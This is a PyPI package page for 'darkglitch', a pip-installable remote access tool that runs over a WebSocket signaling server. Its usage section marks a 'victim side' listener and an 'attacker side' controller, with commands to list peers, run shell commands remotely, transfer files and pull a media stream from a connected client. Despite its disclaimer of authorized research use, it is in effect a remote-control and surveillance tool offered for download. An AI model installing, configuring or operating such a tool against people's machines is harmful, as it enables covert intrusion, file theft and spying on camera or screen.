Skip to main content

Remote command delivery and media streaming tool over WebRTC signaling

Project description

darkglitch

darkglitch is a small Python proof-of-concept for remote command delivery over a WebSocket signaling channel. It is intended for authorized security testing and educational use.

What it does

This tool can:

  • start a listener that registers a client and waits for commands
  • discover online peers on the same signaling room
  • run shell commands remotely
  • upload and download files
  • request a media stream from a connected client

Requirements

  • Python 3.10+
  • dependencies from requirements.txt

Installation

From the project root, create and activate a virtual environment, then install the dependencies:

python3 -m venv .venv
source .venv/bin/activate

Install the package:

pip install darkglitch

Windows note

If PowerShell says darkglitch is not recognized after installation, that usually means the Python Scripts directory is not on PATH. The most reliable workaround is to run the package as a module:

py -m pip install --user darkglitch
py -m darkglitch -h

If you want the plain darkglitch command to work in a new terminal, add the Python Scripts folder to PATH and reopen the shell. For example:

$Scripts = py -c "import sysconfig; print(sysconfig.get_path('scripts'))"
[Environment]::SetEnvironmentVariable('Path', $env:Path + ';' + $Scripts, 'User')

Configuration

Edit core/config.py to point the client to your signaling server and room:

HOST = "https://your-signal-server.example/"
ROOM = "your-room"

Usage

1. Start a listener (victim side)

python darkglitch.py -l -c

Use -l -s if you want to start a stream-enabled listener.

2. List online peers (attacker side)

python darkglitch.py -ol

3. Send a remote command

python darkglitch.py -c <client_id> "whoami"

4. Request a media stream

python darkglitch.py -s <client_id>

5. Upload or download files

python darkglitch.py -u <client_id> /path/to/local/file /path/to/remote/file
python darkglitch.py -d <client_id> /path/to/remote/file /path/to/local/file

Help and version

python darkglitch.py -h
python darkglitch.py -v

Notes

This repository is for research and learning only. Do not deploy it against systems or networks without explicit permission.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

darkglitch-1.1.5.tar.gz (27.9 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

darkglitch-1.1.5-py3-none-any.whl (31.7 kB view details)

Uploaded Python 3

File details

Details for the file darkglitch-1.1.5.tar.gz.

File metadata

  • Download URL: darkglitch-1.1.5.tar.gz
  • Upload date:
  • Size: 27.9 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.14.6

File hashes

Hashes for darkglitch-1.1.5.tar.gz
Algorithm Hash digest
SHA256 8ab8de3e6ea5c95a33151939f67ad56ea4c405d2e54f87b77fd1b465a3befc46
MD5 d8c3c48960dace76ee0b2761495336d4
BLAKE2b-256 c62c6adb32f477148e18f491988a40212ef263c3e3dc207043eb1cc48b38555d

See more details on using hashes here.

File details

Details for the file darkglitch-1.1.5-py3-none-any.whl.

File metadata

  • Download URL: darkglitch-1.1.5-py3-none-any.whl
  • Upload date:
  • Size: 31.7 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.14.6

File hashes

Hashes for darkglitch-1.1.5-py3-none-any.whl
Algorithm Hash digest
SHA256 77fd12566ea407c861f8a19ec6c8f2ca54ee2b2f2a9d6dad010aa25e155dd7ad
MD5 a0efe94d986b0d5b6be0d4d64417f9dd
BLAKE2b-256 9880dfd0227edfa2db2497e21295dfb139f0c9a22c364886e088b8de979e0340

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page